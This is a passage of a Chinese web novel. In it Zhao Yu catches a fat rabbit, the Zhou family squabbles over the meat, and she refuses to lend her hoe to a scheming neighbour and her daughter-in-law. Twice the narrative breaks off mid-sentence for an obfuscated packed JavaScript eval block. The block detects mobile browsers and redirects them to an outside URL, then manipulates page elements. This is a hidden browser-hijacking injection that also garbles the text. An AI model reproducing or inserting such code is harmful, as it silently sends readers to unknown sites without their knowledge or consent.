赵榆期望这兔子还藏在洞里,可万万不要跑了。 原已经疲了的身体,这时顿时有了力气,迫不及待的想要将这洞挖到头。 兔子洞可不是一条道,既然洞口多,那里头定是交错着的。 赵榆一边仔细莫让兔子乘其不备跑出来,一边判断该往那边挖,又该选那条道。 实在判断不出,或是没把握的,她直接用老办法将兔子道给堵住,等沿着一条挖到头了,再去将那堵着的泥巴掏开,开始沿着挖。 就这么不厌其烦的又堵又挖,终于让她见着了里头一闪而过的褐色影子。 赵榆激动不已,时刻防着兔子窜出来。 终于,等她将这片荒地从中间挖开之后,只剩锄头柄深的洞里再次传来兔子的动静。 估摸着它已经没处可跑,在里头正慌乱着呢。 赵榆越发小心,可不能在这临门一脚让它给跑了。 又是几锄头下去后,估摸着已经差不多了,赵榆丢开锄头,直接趴在地上,手往洞里伸去。 也正因为瞧见了兔子的身影,否则赵榆是无论如何都不敢将手伸进洞的。 第一次没探着,她动了动身体,将手又往里探了些许…… 这下,果真让她给摸着了! 细软的毛发与她指尖若即若离,赵榆想要扯住它的毛,把它拉出来,但试了几次,总是还差了些。 无法,她只能先收回手,起身,打算再用锄头挖一挖。 然而没等她拿起锄头,只一个弯腰的功夫,这兔子像是找到了逃命的时机,极为灵敏的就窜出了洞。 赵榆余光扫见,头都来不及转,直接身体往左侧一抛,奔着洞口就扑过去。 赵榆趴在地上,双手空空的,只抓了一掌心的草,那兔子速度太快,根本来不及抓住它。 但赵榆面上没有失望,隐隐的竟带着兴奋。 赵榆感受到腹部下面激烈的挣扎,激动的只敢死死趴在地上,不敢让肚子那里空出一点空隙。 也不知道她这样趴了多久,直到感觉背部都被太阳晒热了,才小心翼翼的动了动身体。 感受到肚子那里一片安静,赵榆怀疑是不是她将兔子给压死了。 将手伸进肚子下面,等确定已经抓住了那对长耳朵,她这才放松身体,从地上坐了起来。 吃力的将兔子提到两腿之间,赵榆兴奋的舍不得移开眼。 兔子还没死,不过由于她的那一扑,估计是将它伤着了,它睁着眼睛,鼻头一耸一耸的,瞧着是没什么活力。 没活力就没活力,反正带回去就要下锅,不要紧。 赵榆使力提了提兔子,感受了一番它的重量。 很重,得有八九斤。 瞧着它一身蓬松的棕色皮毛,却不想这肉是实心的,极为上称。 赵榆想到这块荒地绿油油的野草,也不觉得奇怪。 这兔子既然选择在这边做窝,鲜草不缺,能长的不肥? 赵榆扯来一把草将兔子的前后脚两两扎在一次,扎一次不放心,又缠了好几道这才放到一边。 赵榆看了眼头顶的太阳,还没到时候,现在如果回去,周家人必定会不高兴,认为她在躲懒。 又锄了好一会儿,觉得差不多了,赵榆这才扛着锄头,提着兔子往回走。 这时候地里的人也都准备回去用饭,难免三三两两的走在一起。 赵榆走在他们中间十分显眼,更何况她手里还提着一只大兔子。 干完活的汉子此刻正饿着呢,突然眼前出现了这么大一只兔子,嘴里都忍不住泛口水。 有人憋不住地问出声,“小姑娘,你这兔子在哪捉的?还活着吗?” 赵榆点头,道一句在地里抓的,还活着呢。 也有眼红的,见赵榆这么个小丫头竟能抓这么大一只兔子,就忍不住说酸话,“指不定她偷了别人的陷阱,要不然凭她怎么可能抓到兔子。” 大家可都不傻,虽也羡慕这兔子是别人家的,但也不至于嫉妒到认同这样的话。 十里八村开外,倒也有一个猎户,但他放着他那边的山不去,有必要跑老远到他们这边来设陷阱? 若说谁设的陷阱能抓到猎物,除了那个猎户有这本事,他们这边有谁有这能耐? 反正他们是没瞧见。 也就这没本事还眼红别人的,会说出这样的话。 但都是一个村的,即便他们心里看不上,也没说什么。 赵榆自然也不在意了,说几句酸话而已,又不能将她兔子抢走,记住这人长什么样后,就不经意的加快的步子,离这人远了些。 赵榆和周老汉几人是前后脚回来的,他们在前,赵榆在后。 赵榆回来时,周婆子正赶着猪进院子,想来是这猪又偷跑出去了。 周婆子也恼这猪不着家,猪金贵着呢,得一直在她眼皮子底下才好。 他们家离山近,万一有野兽出山,将猪给咬死了,她得怄死。 除了山里的野兽,还有人呢。 虽然他们九龙村偏僻,但也不是没人来,偶尔也有一两个生面孔的进村,瞧着倒是正派,但你晓得他们到底是来走亲戚的,还是来村里偷鸡摸狗的。 又不是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318457|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有猪被偷的例子,也就是前几年,村里就有人将猪放出去就不再见它回来,后来一问,恰好当天有人来走亲戚,约莫见着猪长的肥,便起了坏心思。 等那家人和那亲戚找过去时,猪早就被他卖了还赌债。 猪没要回来不说,还被那人拿刀威胁,说再敢来找他,他一定要杀光他们全家。 都是普通老百姓,被这样威胁谁不害怕,最后还报了官,可依旧没要回一文钱。 所以,周婆子见自家猪时不时的要偷溜出去,着实恼恨,拿着棍子左赶右赶,就是不忍心打它。 周瑜在后头见着这猪实在不听话,院门就在那里,它偏不往里头去,周婶即便手里拿着棍子,嘴里还在骂骂咧咧,这猪依旧不怕。 见周婶有些吃力,赵榆忙跑过去,帮着一起赶。 周婆子见有人帮忙,侧头看了一眼,见是她便没开口说话,摆着手里的棍子正要和赵榆一起将猪赶进院子,突然,本已经转开的视线又极快地转了回去。 周婆子再顾不上猪,睁大眼盯着赵榆手里提着的东西,“.…..你这……你从哪儿弄来的?” 赵榆将她在地里发现几个拳头大小的洞说出来,也不忘提了句这兔子机灵,抓它费了她不少力气。 周婆子见这么大一只兔子,就想亲自上手提提它有多重,但手上还拿着赶猪的棍子呢,她那个急啊,忍不住就对着猪屁股甩了一棍,猪吃痛尖叫一声,闷头就往院子里冲。 这一棍子,周婆子不仅不再心疼,甚至还忍不住骂道:“再碍着我的事,明日就把你给宰了!” 没了赶猪的活,周婆子立即扔了手里头的东西,等不急的就要去拎兔子。 赵榆有眼色,忙将兔子递过去。 周婆子抓住兔子的长耳朵,提起,“哎呦!”她惊讶地低头看着手里的兔子,“竟长的这般肥?” 赵榆解释荒地里草长的好,它不缺草吃,想不肥都难。 周婆子听了眉眼都罕见的带着微微笑意,“这草吃的,倒是便宜我们了。” 确实是便宜他们,这兔子将自个儿养的这般好,最终进的还是他们周家的锅。 周婆子将兔子提进院子,大着嗓门就让周老汉快些出来。 周老汉几人正在堂屋歇着,听见这声喊,以为是出了什么事,连忙起身出了屋。 几人一出门目光就自然而然的落在那褐色兔子身上。 不说周谷等人,就连周老汉那如同老树皮似的脸上都难掩震惊。 周老汉走近,忍不住伸手拍了拍兔子肥硕的肚子,“打哪儿来这么大一只兔子?” 周婆子松着嘴角,看了眼站在一旁的赵榆,“赵榆在荒地那块抓的,那边草长的又高又密,哪晓得里头还藏着这只东西。” 可不止兔子,之前里头还窝着一条毒蛇呢。 周老汉望向赵榆,心里也不得不感叹一句,年轻小姑娘还挺有本事的。 那蛇被锄死如果说是偶然,今儿个这兔子就真切是凭本事得到的。 兔子多难抓啊,那两条后腿一蹦一窜,就没个影了。 莫说这兔子还是她一个人抓住的,当真是不容易。 周谷看这兔子也稀罕,站在周老汉身边时不时地摸一下兔子厚实的皮毛。 周麦见着今晚有肉吃,兴奋不已,嚷着今晚她要吃一整个兔子腿,让周婆子不要将腿剁成几节,一定要一整条。 周婆子啐了她一口,一整条兔子腿,亏她说得出口,家里其他人是不用吃了吗? 周青也盯着兔子不放,但想到昨天他婆娘因为赵榆受了罪,他克制着没上前,见那兔子被人左摸右摸,不屑地哼了一声,“兔子而已,真当是什么宝贝呢!” 16. 第十六章 周婆子让周谷去将兔子杀了,兔子皮毛整个给扒拉下来,到时候去县城也能换个几文钱。 因家里米粮不多,周婆子打算近些日子去趟县城,到时候正好可以将兔子皮带去卖了。 这之前,她还后悔没趁着菇子刚采回来还新鲜着拿去卖,现在那些菇子都失了水分,再卖也卖不上价。 但为了能在秋收时可以多割两条肉回来,即便卖不上价,也能赚回三四文。 不过现在有了兔子肉,周婆子急着的心也跟着缓了缓。 这菇子是不打算再带去县城贱卖了,换不了几个钱不说,她还心疼。 到时候只独独带着兔子皮去趟县城,也能赚回入城费。 兔子被提走,院子里的人也跟着散了,唯独大牛还留在原地,一脸敬佩地望着赵榆,“姑姑,这兔子你是怎么抓到的?” 被人佩服,赵榆自然很高兴,她张嘴就要细述抓兔子的过程,不过,赵榆不确定的问道:“你叫我什么?” 大牛亮着嗓子,大喊一声,“姑姑。” 这声音过于大,让准备回屋的周麦听着了,“喊什么喊?是想吃巴掌吗?” 大牛吓得捂住脸,不敢说话,等周麦进了屋,才小声嘟喃,“我叫的又不是她。” 叫的不是她,难不成是我? 赵榆感到意外,问道,“你怎么叫我姑姑?” 大牛哪里知道原因,冥思苦想后,才指着堂屋说“小姑”,又指着院子外说“大姑”,最后指了指赵榆,道一句“姑姑。” 赵榆惊讶,“你还有大姑?” 大牛点头。 赵榆对周家又多了几分了解,但无论如何她都不敢应下大牛的这个称乎。 她是周家买回来的,被周家的孙子喊姑姑算怎么一回事? 万一让周婶听见了,误会是她教的,认为她心怀不轨可怎么办? 想到这,赵榆让大牛不要喊她姑姑,换个称乎,喊她“榆姐”也行。 大牛懵懂地唤了声“榆姐”。 赵榆摸着他的脑袋,满意地应了一声。 吃完午食,赵榆在灶房前头看见了被高高挂起晾晒的兔子。 兔子不完整,想来周婶今晚只打算煮一小半。 赵榆看了眼只少了一个前腿部分的兔子,略微有些失望,还以为今晚能多分一块肉呢,只煮这么一小块,估摸着也只能尝个味儿了。 等到吃晚食,就如赵榆料想的那样,分到她碗里的肉不多,只有三块,每块还很小。 但这是和那整只兔子比的,若单单是那只前腿,她这三块已经不少了。 赵榆看着有些寡淡的兔子肉,夹起一个就塞进嘴里。 味道很淡,但充满了肉味。 看着饭头只剩两小块肉,赵榆连骨头都舍不得吐,憋着劲要将骨头嚼烂吞下去。 等骨头渣都不剩了,她这才舔了舔嘴角,将油水都舔进嘴里。 兔子肉好吃,就是滋味有些不足,若是在放些酱料、八角、桂皮、姜丝等,定然更加美味。 赵榆虽没下过几次厨,但她会吃,尤其舌头灵敏,大部分菜的配料都能吃得出来。 记得在原来世界的时候,和朋友去一个小有名气的饭店吃饭,刚巧碰上了那家要上新品,赵榆两人运气好,也被送了一盘。 赵榆尝了一口,就说味道很特别,里头定然放了不下十种的调味料。 当时那位厨师就在旁边,见她说的这般肯定,就随口让她说说是哪十种。 赵榆便将自己能吃出来的通通说了出来,记得当时那厨师脸色都变难看了,看她的眼神就像是她在偷师。 这个记忆片段仿佛已经发生了许久,赵榆轻易便从里头醒神过来。 扒拉了一口饭,赵榆转头看了眼灶房,也不知道什么时候她能吃到自己亲手做的菜。 虽然她也不太会,但她记得调料,到时候往里头一放,只需注意火候,估摸着也差不多了。 赵榆将饭食咽下去,着实想念那些重口味的菜。 不过,赵榆也知道这事急不得,眼下周婶还不信任她,就从她宁愿让爱偷吃的方春梅负责灶房便看得出。 赵榆摇了摇脑袋不再想,继续闷头往嘴里塞饭。 赵榆这边吃的满意,但周青房里就不一样了。 因昨天那件事,方春梅心里气的很,一直待在房里不出去。 就连饭食都是让周青送进来。 午时那时候,她也听见了外头的动静,听说是捉了只大兔子,当时她就憋不住出了屋子,只不过是躲在堂屋门后偷看。 那只兔子她可瞧见了,被提起来时,那身体拉的老长,一看就十分的重。 她扒着门框,心里焦急的不行,现在灶房的活计她插不了手,就连上桌吃饭也没人主动唤她,一想到这兔子肉不在她眼皮子底下,她心头就难受,像是吃了大亏一般。 在房里左右煎熬着,一再提醒周青要给她多抢几块肉,可当晚食被送进来后,方春梅整个面色都青了下来。 “我的肉呢?”方春梅嚷着,“不是让你多给我夹些肉吗?” 周青将碗筷放在有些发黑的桌子上,语气也有些不太好,“你不是怨憎那赵榆,巴不得她再被卖掉?怎的还一心惦记她弄回来的兔子肉?” “我凭什么不能惦记?”方春梅心里还带着怨,“她吃的喝的,哪一样不是占着周家的便宜?那兔子肉合该就有我一份!” “有你什么事?不说她吃喝都是我爹娘的,就你抢了她的口粮这事,你也说不着这话!”周青说话有些冲。 刚刚在饭桌上,娘不仅不让他给春梅夹,甚至连他的那口肉都不愿给,说什么他婆娘既然没良心磋磨赵榆,那他们两口子就没脸讨这口吃的。 听了这话周青自然不高兴,他和方春梅的想法一样,既然那赵榆是用银钱买回来的,本就该低人一等,别说他婆娘不给她饭食,就是像那些地主一样,拿着棍鞭教训都不为过。 更不用说他吃块兔子肉了,怎么就跟“讨”字扯上关系? 周青有些没脸,尤其是老二和他那两个儿子还一直盯着自己,这让他差点忍不住要发脾气。 方春梅被吼,脾气也上来了,“你前头还说你老子娘为了个外人打我是她脑子糊涂,怎的,这才一晚上,你就长歪了脑门?” 她冷笑一声,“吃喝都是你爹娘的?说这话你亏不亏心?难不成你周家的那些地我是没帮着动手?竟连苦劳我都不能占一个?” “若不是有我们俩,你以为凭你那几个兄长能将周家撑起来?” “老二是个傻子,老大都不屑说,瘸子一个,你指望他能干什么活?不拖累你就算不错了,还有那老三——”方春梅顿了顿,声音稍稍低了一些,“就是个混不吝……” 方春梅没再继续说下去,只道,“你该硬气起来,他们两个老的该指望的是你才对。” 周青觉得她在做梦,或者是昨日挨了一顿打,脑子也跟着糊涂了,即便老大老二瞧着没什么出息,但只要家里有老三在,他如何敢冒这个头? 不怕他拿刀给他削了吗? 周青越想越烦躁,不耐道:“还吃不吃?不吃我端走了!” 方春梅一把夺过桌上的碗,即便没肉吃的没滋没味,她也要一粒米不剩,绝不便宜其他人。 * 次日,赵榆和周谷一道去了菜地。 远远的,赵榆就发现周家菜地里站着几个人,她们一会儿直立一会儿躬身,就像是在寻找什么。 不等她询问周谷,就听他低怒一声“有人在偷菜”,说完,也不等赵榆,独自大步赶过去。 赵榆 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赵榆扫了一眼对方笑呵呵的脸,将想法都压了下去,对方都说的这般光明正大了,反倒不好再有计较。 只是可惜了她昨日才挖松的地,经过一早上她们两人来来回回的踩,又再次结实起来. 赵榆以为经过这一次,抓兔子这事也算过去了。 可令她没想到的是,第二天过来,竟又看见这对婆媳在这儿忙活。 不同于昨日她们跑到周家的荒地里,这次她们打算另开一片地。 她们选择的地方与周家的荒地相邻,只隔了一条地沟。 要开荒地这事是郑婆子讲的,说什么她家小媳妇又要给她添孙子了,人丁兴旺的,她要将地给准备起来,别到时候供不上家里多出的嘴。 才刚怀上孙子,就想着开荒种地的事,不得不说郑婶子的这番准备可真够早的。 至于山边荒地这么多,这对婆媳偏就选中了靠近周家这边的,赵榆见周谷不反对,她就更不会说什么。 但她们若自顾自的开荒也就罢了,偏那郑婆子的嘴还要拉个人说个不停。 周谷就首当其冲的被她一问再问,问他婆娘是不是还躺在床上,求医问药花了多少银钱? 又问他大哥亲事是不是有着落了,打算何时办酒? 还不忘问周家老三去哪儿了,是不是担心叶家找麻烦去外头躲着了? 这些问题一个接着一个,起先周谷还能回个一句两句,后面他索性不说话了,只胡乱着点头摇头,瞧着甚是憨傻无趣,让想要打探消息的郑婆子顿时失了兴趣。 转而,她将话头伸到了赵榆这里。 赵榆还记着之前的教训,清楚这郑婶子虽是一副和气模样,但心眼多着呢,本也打算学着周谷,无论对方问什么,胡乱应声罢了。 但应着应着,赵榆竟和周婆子有来有回起来,对方不仅没从赵榆这里获得一点有用的消息,反而被赵榆套了不少话。 赵榆知道了郑婆子家的猪被喂养的很好,已经有二百多斤了,等到过年卖给青河村的葛屠户,能多卖几十文。 还有她家的大孙子,十来岁了,被县城的一位账房先生看重了,打算收他当学徒,以后也做管钱的活计。 不知是不是反应过来透露了不少有用的消息出去,郑婆子突然不再说话了。 赵榆巴不得她不开口,天这么热,她是一点也不想浪费口水。 可郑婆子才刚歇了嘴,她儿媳妇就来了。 “赵妹子,你把锄头借我用用可好?” 赵榆抬头,以为自己听错了,那郑婶子手里不是也有锄头吗,她不向她婆母借,怎么问起她来了? 看着对方笑意绵绵的脸,赵榆不经想要咂舌,这竟是和郑婆子一个货色,都是难缠的。 17. 第十七章 见赵榆盯着她,郑婆子儿媳妇不好意思笑了笑,“实在这草太锋利,我这手被割的左一道右一道,便想着借用一会儿。” 赵榆不清楚向别人借用锄头正不正常,但她想到周婶每日都要用稻草将锄头上的泥巴擦洗干净,然后放在高处挂着,说是为了防止上锈,这般爱惜,她如果随意借出去,应该又会被骂吧! 铁器这类东西,似乎家家户户都看的很重。 想到这里,赵榆歉意一笑,“眼见着这片地这么些时日还没翻好,家中周婶都跟着着急,我便想着今日将这地好好挖挖,总不能日日都将时间用在这上头,所以——” 赵榆拖长声线,似乎也觉得不好意思,又道:“要不,你在等上一等,待我将地挖好了,再借给你一用。” 等你将地挖好,天都该黑了,还借哪门子借? 郑婆子儿媳妇悄摸摸翻了个白眼,不再理赵榆,而是转头对着周谷,道:“周二哥,你将你家锄头借我用用吧,这草扎的太深,用手实在是不好拔。” 周谷停了手,也有些为难。 他家的地也需要锄头,若是借出去,便耽误了自家的活,可若是不借,是不是伤了两家情面? 周谷兀自纠结着,那郑婆子儿媳妇已经先一步看向婆母,道:“娘,你是长辈,你让周二哥将锄头借我用一用,莫要小气,我又不是不还。” 郑婆子听着这话,也抬起头来,看向儿媳妇的手,心疼的直抽抽,随即望向周谷,“周谷啊,你这地瞧着也差不多了,我家这块还得忙活好一段呢,你就将锄头借乔娘用一用。” “年轻妇人皮肉薄,那双手要是伤着了,可不得留痕一辈子。” 乔娘指的便是她儿媳妇。 赵榆在一旁听了心里直抽气,这两人不愧是一家人,说的话总是让人忍不住皱眉。 既然心疼儿媳妇的手,那便将手里的锄头给她用,你郑婆子一直拿着不放是什么意思? 觉得儿媳妇年轻皮薄,容易伤手,那郑婶子你又不年轻,一双手布满皱纹和老茧,显然是不怕草割,何必再霸占着锄头不放? 合着不舍得将自己的锄头给出去,就惦记上了别人的,哪有这个理? 赵榆挥着锄头翻地,将她们的话抛在脑后,就当没听见。 她能独用一把锄头,已经是周婶对她有所改观了。 周家就两柄锄头,一柄周老汉带走了,一柄周婶任由她扛着带过来锄地。 就连周青先一步扛着要走,周婆子还从他手里抢了回来,点名赵榆让她拿着用。 农家在乎的就是地里的活,焦急忙慌的就怕给耽搁了,如今周家连这柄“吃饭的铁家伙”都愿意给她使,她怎么着也不能将活干差了。 赵榆是打定主意不借的,但郑婆子婆媳两人根本不在意她同不同意,她们直接向周谷借,并有极大的把握能借到。 赵榆还想着周二哥又不傻,怎么会同意借锄头? 那不是放着自己的活不干,给别人帮忙吗? 且对方还是周婶十分厌恶的人,这要是传到周婶耳朵里,定然会被大骂蠢货。 可就是这么出乎意料,周谷在犹豫不决之后,还是糊里糊涂得点了头。 他又无措又不知如何是好的看向赵榆,为难地道:“……赵小妹,要不,你先歇歇,锄头先,先借给郑婶子使使?” 一听这话,赵榆差点咬到了舌头。 这周二哥竟真的同意了! 他难道不知道这锄头一借出去,得等到午时归家时才能再回来。 她们婆媳费这么多口舌,哪里是只为了用那一刻钟,人家明明是奔着数刻钟去的。 赵榆张了张嘴,想问周谷,锄头借给她们了,那他家的地用什么挖,徒手吗? 然而一对上他那双也含着悔意的牛眼,赵榆就无话了。 罢了,周二哥不仅是个老实人,现在看来,还老实的过了头。 赵榆深吸了一口气,无法,老实人靠不住,只能由她来当这个恶人了。 “不行!” 如此义正言辞的两个字让在场的三个人全都愣住。 周谷:“.…..赵小妹?” 赵榆抬手止住他,“周二哥,咱们自己的地需要锄头,若是借给别人,耽误了活计,周婶可是会生气的。” 周谷自然也晓得这点,他也不想借,这片地的草已经没有多少,但为了更好撒种种菜,得将土再好好松一松,正是需要锄头的时候。 可是…… 周谷望向郑婶子,对方年纪长,他当真不好意思拒绝。 眼见着周谷都同意了,就这被周家买回来的丫头还在闹腾,郑婆子哪能高兴,“小丫头不是周家人,是被周谷他娘买回来的,与周家感情不亲,有这担忧也正常。” 她笑呵呵地继续道:“但这锄头我是从周谷手里借的,你这份担忧就实属多余了,周老妹子再生气,还能拿她儿子怎么样?” 赵榆默默地对她斜了一眼,这老太太的嘴真会说,不仅暗讽了周婶是个斤斤计较的,还明里装作无意的挑拨了周家和她的关系。 总之就是,周家人不把你当自己人,你也不用厚脸皮的帮周家的锄头把着关,这锄头借不借,周家人说的算,你赵榆一个外人就别插一脚了,也不嫌脚疼。 接着,郑婆子又笑着对周谷说道:“不过,周谷啊,你放心,这锄头你既然借给我了,我也不会耽误你的事儿,等乔娘手不疼了,我就将锄头还你。” 周谷真不知道该怎么应对,但听郑婶子说等她儿媳妇手不疼了,就会将锄头还给他,心下一松,摸着后脑勺,憨笑着点头。 郑婆子笑了,笑的舒心,连夸周谷是个好的。 赵榆看向周谷,真想耸肩摊手。 借就借吧,反正周谷也说了让她先歇歇。 但她如果真歇了,身体虽舒服了,心里也能舒服? 余光扫到郑婆子瞥过来的视线,要笑不笑的,讽味十足。 赵榆:……她现在身心好像都不太舒服。 郑婆子可不管赵榆,她冲着儿媳妇使眼色,道:“你周二哥都点头了,你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357185|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的还在这墨迹?还不快去将锄头拿回来用。” 乔娘欣喜地点点头,“诶”了一声,就朝着赵榆走去。 赵榆眼见着人朝着自己这边过来,心里不断在琢磨着该怎么办。 等对方已经一脸含笑还带着些得意地一把握住她的锄头后,赵榆没法了,只能握紧锄头柄,决不允许它被抽出去。 乔娘眉头一皱,笑意散了大半,“赵妹子,你这是作甚?”说着另一只手也抓住锄头柄,双手使力往自己这边拉。 赵榆面无表情,“我也要用。” 乔娘有了火气,“周二哥都说借给我了,难不成你不将周二哥的话当回事儿?” 赵榆心想这次肯定不能将周谷的话当回事儿,否则地里的活计耽搁了,回去不仅周谷,她也得跟着受连累。 见手里的锄头柄正一点点的往外移,赵榆急了。 索性将锄头柄往胳肢窝一夹,两只手也紧跟着握住,随即整个人往后倒,一屁股坐在地上,也不顾那些正在满地乱爬的大小蚂蚁。 乔娘哪能预见到她使这招,一时脱了力,竟让锄头从手里被抽走。 见她还要来抢,赵榆烦了,“你不是说你手疼?你有这劲儿抢我锄头,怎么就不能拔草了?” “是故意和我在这磨蹭,好将活儿都丢给郑婶子是不是?” 乔娘一听,眉头一竖,手指着赵榆就要骂她张口胡言。 这时一旁的周谷急忙上前,将赵榆从地上扶起来,看向乔娘和郑婆子,又看了看赵榆,一对粗眉都快打结了,半响,才打着商量地道:“要不……郑婶,你们再等等,等我将地挖好了,在……” 郑婆子还能说什么? 只能暗恨地瞥了眼赵榆后,平着声音让乔娘快些干活,就是手疼也要把活给干了,谁让她无能连个锄头都借不到。 没让她们把锄头抢走,赵榆松了口气,转头见周谷脸上还带着些萎,便忍不住开口,“周二哥,有余力才想着帮助人,你这地还没弄完呢,锄头不借才是对的。” 周谷摸了摸脑门,憨笑一声,被一个小姑娘教做事,还真有些不好意思。 但他觉得赵妹子说的很在理,明明年岁轻,却比他厉害多了。 他娘经常骂他猪脑子,说他就是一根筋,但凡别人好言好语,他就和猪共个脑子,别人说什么就是什么,被骗了都不会反应。 赵榆其实也奇怪周谷的性子,明明是个五大三粗的汉子,瞧着就是一身的蛮力,怎的脾性这般好说话? 周谷确实好说话,郑婆子也深知这点。 所以在没借到锄头后,她对周谷又提出了“请求”。 说,既然你们这块地要用到锄头,那周谷反正你现在也空着手,不如就帮我家乔娘多拔拔草,我们这一老一少也能轻便些。 这话简直比借锄头还令人咂舌。 赵榆都替她脸皮发烫。 看在大牛和那袋豆子的份上,赵榆免了周谷的为难纠结,她将周谷往身后一推,当着郑婆子的面就嘴角一瞥,嘲讽的意味表露的十成十。 18. 第十八章 “郑婶子,你也忒不厚道了,竟只顾着你那地,倒是瞧不见我这边也有不少的活儿。” 赵榆还没说完,任郑婆子脸越拉越长,她继续道:“你缺人干活,怎的不叫上自家的儿孙?他们难不成这般不孝,任你一老一妇顶着大日头出来开荒,他们则在家坐享其成?” 她一边说着,一边目露同情。 郑婆子可见识到了这臭丫头的嘴皮子,溜滑滂臭,着实讨人厌。 这么多年还没几个人当着她的面这般说话,村里村外谁见了她都得给一分薄面。 原因有二。 一是年长,二便是多福。 谁不因她家子孙多,且都站住脚没有一个夭折的,心存羡慕。 不仅各个村里的新嫁妇求她摸面,就是镇上县里的富家老爷过个寿都客客气气的请她上门坐一席。 这么多年她也长了不少脸面,今儿倒是被个小丫头骑到头上了! 郑婆子越想越气,张嘴就要开骂。 这时,另一道不输于郑婆子嘴皮子的大嗓门传来: “老不修的婆子,自己儿子不使唤,倒是使唤起我儿子了!你是活够了不要脸,难不成你媳妇也不要脸?和别人家的汉子一起蹲地头,也不怕被人戳烂脸皮!” 来人正是周婆子。 周谷转过头,满脸惊讶,“娘,你怎么来了?” 赵榆也没想到周婆子会这个时候过来,忙跟着周谷后头,唤了声“周婶”。 周婆子瞧都没瞧周谷,反而是对着赵榆应了一声。 她当然不想搭理周谷,这个憨货别人都要把他当成免费劳力使了,他还像个傻子一般闭嘴不言。 若不是赵榆阻止,就凭他这个猪脑子,定是要上别人地里帮着做活。 周婆子越想越气,既气郑虔婆如此不要脸,又气自个儿儿子不争气。 周婆子其实来的有一会儿了,连郑婆子婆媳厚脸皮借锄头这事,她都看进了眼里。 当时她就受不住的想要冲出来,将这对婆媳骂个狗血淋头。 但好在赵榆是个知事的,护着锄头没让她们抢去。 这么一比,显得老二越发的窝囊,明晓得她不喜,或者说厌极了郑婆子,他竟是一个拒绝的字都说不出口。 这般让人生气,周婆子恨不得拿柴刀将他脑袋劈开,看看里头到底放了什么破烂玩意儿。 兄弟四个,怎么就他蠢成这样? 周婆子要强一辈子,磕的最狠的一跤便是在子女身上。 女儿先不谈,就论四个本该顶门户的儿子。 她也不知道上辈子是做了什么孽,残的、蠢的、懒的,竟全让她家占了。 唯独还有个老三,能耐不缺,但那脾性又很让人头疼。 想到老三那又狠又硬的拳头,周婆子心都跟着狠狠抽了一下。 四个儿子,竟没有一个能让她安心的。 周婆子眉眼里头都泛起苦来,但一想到郑虔婆正在看着,她立时将苦压下去。 说起来,周婆子之所以这般憎恶郑婆子,一个很大的原因便是后者爱显摆自己,什么多子多福,富贵满堂都是她在外头特意给自己表的脸面。 这倒也没什么,毕竟事实上也差不离。 但你显摆便罢了,为何话尾还要拿周家说事? 每每用一副忧心的语气,明里暗里将周家描述的仿佛是晦气上身一样,说什么“周家也不知惹到了那路子神仙,家里不是病就是残,儿子年岁这般大了,媳妇愣是影儿都没有,真真是可怜了周家两个老的。” 呸! 我用得着你可怜? 将沾晦这事往周家头上抹,真是烂心烂肺的人才做的出来! 周婆子已经不下三次听见有人说起周家霉运缠身这事,这是谁传的,她心里门清。 还有那些偏听偏信的人,见着周家人,就像是被晦气染上一样,眼里的嫌弃掩都掩不掉。 周婆子见一次,就忍不住咒骂一次。 尤其是那郑婆子,既然嘴里带了毒,总有一天这毒要把她引以为傲的福气给变成毒气,到时她就等着看她李家倒霉。 约莫是想到了陈年旧恨,周婆子脸上已经不能用难看来形容。 盯着郑婆子的眼神,气势足的,仿佛下一刻就要抡膀子冲过去。 郑婆子暗骂一声,真不愧是生出周老三那个坏胚的老子娘,粗蛮无比。 郑婆子咬了咬牙,随即咧嘴一笑,像是没把刚刚被骂不要脸的事记在心上,“老妹子,你可莫要误会了,我岂是那等占便宜的人?无非是我这儿媳妇笨手笨脚,这才想着让周二帮把手。” 周婆子心中冷笑,她若不是爱占便宜的人,那还有谁是? 看了眼对面她们打算开的荒地,草长的十分茂盛,比她脚下的这片还要繁杂,又是刺草又是各种乱七八糟的树秧子,不花费个大力气好一番挖挖,那地是绝对种不了菜的。 周婆子心知肚明,李家丁男多,分的地又能少到哪里去。 这时候选这么一块地开荒,定是被她家的兔子肉惹红了眼,开荒是假,妄图抓一只兔子才是真。 周婆子提了提气,话锋一转,“帮把手自是可以,但干活就得吃饭。” “你李家本事大,既然我家老二给你做了活,该不能缺了他的那口肉吧?” 该说周婆子这话说的属实过分,谁家帮着拔一拔草,就张嘴要肉吃的? 有些人家一年都不见一滴油水,更别说吃肉了。 就是请工帮着盖房子,也不兴给肉吃,大气一点的,供几个麸糠馒头都是能被称为体面人家,以后再有活,别人也乐意帮着干。 至于给帮工肚里添油水,主人家不可能做,工人也不敢想。 郑婆子心里直呼周婆子不要脸,活还没干呢,就盯上她家肉了,真真是不吃亏的周扒皮。 周婆子才不管对方在心里怎么骂她,好心补充道:“若是运气好,你脚下的那块荒地也藏着兔子,那便用不着花钱割肉了,兔子肉也一样有油水。” 瞧着郑婆子变得僵硬的脸色,周婆子就觉得畅快。 抠死人的老太婆,只想白得劳力,一双手握的发紧,就怕露出一粒米被人占了便宜。 周婆子是不相信同一片地方能再藏一只兔子,但她就是要故意这般说。 不是一心想要抓只兔子吗,既然让她家老二帮 